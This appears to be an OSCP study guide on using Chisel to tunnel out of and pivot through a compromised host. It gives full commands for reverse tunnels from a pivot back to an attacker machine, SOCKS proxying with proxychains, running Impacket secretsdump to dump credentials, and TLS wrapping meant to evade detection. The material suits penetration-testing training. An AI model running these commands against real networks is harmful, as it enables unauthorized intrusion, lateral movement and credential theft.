Chisel Tunneling
Chisel is a fast TCP tunnel over HTTP, powered by Go. It is the go-to tunneling tool when SSH is unavailable on the pivot machine. Its single-binary design, reverse tunnel support, and SOCKS proxy capability make it indispensable for OSCP.
Why Chisel?
| Feature | SSH | Chisel |
|---|---|---|
| Requires SSH server | Yes | No |
| Protocol | SSH (port 22) | HTTP (any port) |
| Speed | Good | Faster (Go-based) |
| Reverse tunnel | Yes (-R) |
Yes (native, easier) |
| SOCKS proxy | Yes (-D) |
Yes (R:socks) |
| Firewall friendly | Port 22 often blocked | Runs on 80/443/any |
| Binary size | System package | Single binary (~6MB) |
| Cross-platform | Yes | Yes (Linux, Windows, macOS) |
When to Choose Chisel Over SSH
- SSH server is not installed or port 22 is firewalled.
- You need a reverse tunnel from a machine that cannot be connected to directly.
- You want a lightweight, single-binary solution.
- You need to run the tunnel on Windows (Chisel has Windows binaries).
Installation and Setup
Download
# On attacker machine (Kali Linux)
cd /tmp
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel
# Verify
chisel --version
Deploy to Pivot
# Transfer to Linux pivot
scp /usr/local/bin/chisel user@10.10.10.5:/tmp/chisel
# Then on pivot:
chmod +x /tmp/chisel
# Transfer to Windows pivot (use PowerShell from attacker)
# Or upload via web shell, SMB, etc.
Architecture — Server/Client Model
graph LR
A[Attacker<br/>chisel server] <-->|TCP over HTTP| B[Pivot<br/>chisel client]
B --> C[Internal Target<br/>10.10.10.10]
Chisel uses a server/client model. The server listens for connections, and the client connects to the server and requests port forwards.
Reverse Tunnel (Most Common in OSCP)
Scenario: The pivot machine can connect OUT to your attacker, but you cannot connect IN to the pivot (firewall blocks inbound).
Architecture
graph LR
subgraph "Internal Network"
B[Pivot<br/>10.10.10.5]
C[Target<br/>10.10.10.10:80]
end
A[Attacker<br/>10.10.14.3]
B -->|Reverse Connect| A
A -.->|Forward via localhost:9090| C
Step-by-Step
Step 1: Start Chisel Server (Attacker)
# Listen on port 8000, accept reverse tunnels
chisel server --port 8000 --reverse
Step 2: Start Chisel Client (Pivot)
# Connect back to attacker, request reverse port forward
# R:9090:10.10.10.10:80 means:
# R = reverse tunnel
# 9090 = port to bind on the SERVER (attacker)
# 10.10.10.10:80 = destination from the CLIENT's (pivot's) perspective
./chisel client 10.10.14.3:8000 R:9090:10.10.10.10:80
Step 3: Access the Forwarded Service (Attacker)
# Now on the attacker machine:
curl http://127.0.0.1:9090
# This reaches 10.10.10.10:80 on the internal network!
Multiple Ports in One Tunnel
# Pivot side — forward multiple ports at once
./chisel client 10.10.14.3:8000 \
R:8080:10.10.10.10:80 \
R:3306:10.10.10.10:3306 \
R:2222:10.10.10.20:22 \
R:8443:10.10.10.30:443
Now on the attacker:
localhost:8080→10.10.10.10:80localhost:3306→10.10.10.10:3306localhost:2222→10.10.10.20:22localhost:8443→10.10.10.30:443
SOCKS Proxy via Chisel
This is the most versatile Chisel configuration for OSCP.
Attacker (Server)
chisel server --port 8000 --reverse
Pivot (Client)
# Request a SOCKS5 proxy on port 1080 at the server
./chisel client 10.10.14.3:8000 R:socks
Result
- SOCKS5 proxy available on attacker’s
localhost:1080. - The proxy runs in the pivot’s network context — all traffic goes through the pivot.
Configure Proxychains
# Edit /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080
Use Any Tool Through the Proxy
# Scan internal network
proxychains4 nmap -sT -Pn -p 22,80,443,3306,8080 10.10.10.10
# Access web apps
proxychains4 curl http://10.10.10.10:8080
# Use Impacket
proxychains4 python3 secretsdump.py DOMAIN/user:pass@10.10.10.10
# Launch Metasploit
proxychains4 msfconsole
Standard (Non-Reverse) Tunnel
When the attacker CAN connect directly to the pivot (pivot has reachable port).
# On pivot — start chisel server
./chisel server --port 8000 --reverse
# On attacker — connect and forward local 8080 to internal 10.10.10.10:80
./chisel client 10.10.10.5:8000 8080:10.10.10.10:80
# Now curl http://localhost:8080 reaches 10.10.10.10:80
Authenticated Chisel
Add password protection to prevent unauthorized access to your tunnel.
# Server with password
./chisel server --port 8000 --auth mypassword --reverse
# Client with password
./chisel client mypassword@10.10.14.3:8000 R:socks
Chisel with TLS Encryption
Encrypt the tunnel traffic to evade detection and protect data.
Generate Certificate
# Self-signed certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem \
-x509 -days 365 -out cert.pem -subj "/CN=chisel"
Server with TLS
./chisel server --port 443 --reverse \
--tls-cert cert.pem --tls-key key.pem
Client with TLS
# Skip verification for self-signed cert
./chisel client --tls-skip-verify 10.10.14.3:443 R:socks
Chisel Command Reference
| Mode | Server Command | Client Command | Result |
|---|---|---|---|
| Reverse single port | server --port 8000 --reverse |
client ATTK:8000 R:9090:TARGET:80 |
localhost:9090 → TARGET:80 |
| Reverse SOCKS | server --port 8000 --reverse |
client ATTK:8000 R:socks |
SOCKS5 on localhost:1080 |
| Standard forward | server --port 8000 |
client PIVOT:8000 8080:TARGET:80 |
localhost:8080 → TARGET:80 |
| Authenticated | server --port 8000 --auth pass --reverse |
client pass@ATTK:8000 R:socks |
Authenticated SOCKS |
| TLS encrypted | server --port 443 --tls-cert c.pem --tls-key k.pem --reverse |
client --tls-skip-verify ATTK:443 R:socks |
Encrypted SOCKS |
Chisel Flags Reference
| Flag | Description |
|---|---|
--port |
Port to listen on (server) |
--reverse |
Accept reverse tunnels (server) |
--auth |
Password for authentication |
--tls-cert |
TLS certificate file |
--tls-key |
TLS private key file |
--tls-skip-verify |
Skip TLS cert verification (client) |
--proxy |
HTTP proxy for client connection |
--fingerprint |
Verify server TLS fingerprint |
--keepalive |
Keepalive interval (default 5s) |
--max-retry-interval |
Max retry interval (default 30s) |
Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
| Client cannot connect to server | Firewall blocking port | Use a different port (80, 443, 8080) |
dial tcp: connection refused |
Server not running | Verify server is listening: ss -tlnp | grep 8000 |
| Forwarded port not working | Target unreachable from pivot | Verify pivot can reach target |
| Tunnel drops | Network instability | Add --keepalive 30s --max-retry-interval 60s |
| Permission denied on port | Port < 1024 requires root | Use sudo or choose port > 1024 |
OSCP Exam Tips
- Chisel is your #2 tunneling tool after SSH — always have it ready.
R:socksis the most versatile mode — gives you full proxy access.- Use port 80 or 443 if port 22 is blocked — firewalls rarely block these.
- Background the client on the pivot:
./chisel client ... &or usenohup. - Keep the binary small — Chisel is ~6MB, easy to transfer via any method.
- Test immediately after setup:
curl http://localhost:[port]on the attacker.
Further Reading
- SSH Tunneling — when SSH is available
- Proxychains Configuration — routing tools through Chisel SOCKS
- Socat Usage — alternative tunneling tool
- Quick Reference Cheat Sheet